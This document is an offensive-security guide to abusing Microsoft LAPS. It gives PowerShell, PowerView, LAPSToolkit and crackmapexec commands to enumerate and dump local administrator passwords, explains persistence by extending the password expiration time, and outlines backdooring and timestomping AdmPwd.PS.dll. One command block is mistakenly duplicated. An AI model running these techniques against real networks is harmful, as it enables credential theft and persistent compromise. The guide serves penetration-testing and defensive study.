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Basic Information

Local Administrator Password Solution (LAPS) is a tool used for managing a system where administrator passwords, which are unique, randomized, and frequently changed, are applied to domain-joined computers. These passwords are stored securely within Active Directory and are only accessible to users who have been granted permission through Access Control Lists (ACLs). The security of the password transmissions from the client to the server is ensured by the use of Kerberos version 5 and Advanced Encryption Standard (AES).

In the domain's computer objects, the implementation of LAPS results in the addition of two new attributes: ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes store the plain-text administrator password and its expiration time, respectively.

Check if activated

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS Password Access

You could download the raw LAPS policy from \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol and then use Parse-PolFile from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.

Moreover, the native LAPS PowerShell cmdlets can be used if they're installed on a machine we have access to:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                           AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                         AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                           AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission             AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission             AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission            AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                        AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView can also be used to find out who can read the password and read it:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd


The LAPSToolkit facilitates the enumeration of LAPS this with several functions. One is parsing ExtendedRights for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups. An account that has joined a computer to a domain receives All Extended Rights over that host, and this right gives the account the ability to read passwords. Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords.

# Get groups that can read passwords

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumping LAPS Passwords With Crackmapexec

If there is no access to a powershell you can abuse this privilege remotely through LDAP by using

crackmapexec ldap -u user -p password --kdcHost -M laps

This will dump all the passwords that the user can read, allowing you to get a better foothold with a different user.

LAPS Persistence

Expiration Date

Once admin, it's possible to obtain the passwords and prevent a machine from updating its password by setting the expiration date into the future.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

The password will still reset if an admin uses the Reset-AdmPwdPassword cmdlet; or if Do not allow password expiration time longer than required by policy is enabled in the LAPS GPO.


The original source code for LAPS can be found here, therefore it's possible to put a backdoor in the code (inside the Get-AdmPwdPassword method in Main/AdmPwd.PS/Main.cs for example) that will somehow exfiltrate new passwords or store them somewhere.

Then, just compile the new AdmPwd.PS.dll and upload it to the machine in C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (and change the modification time).


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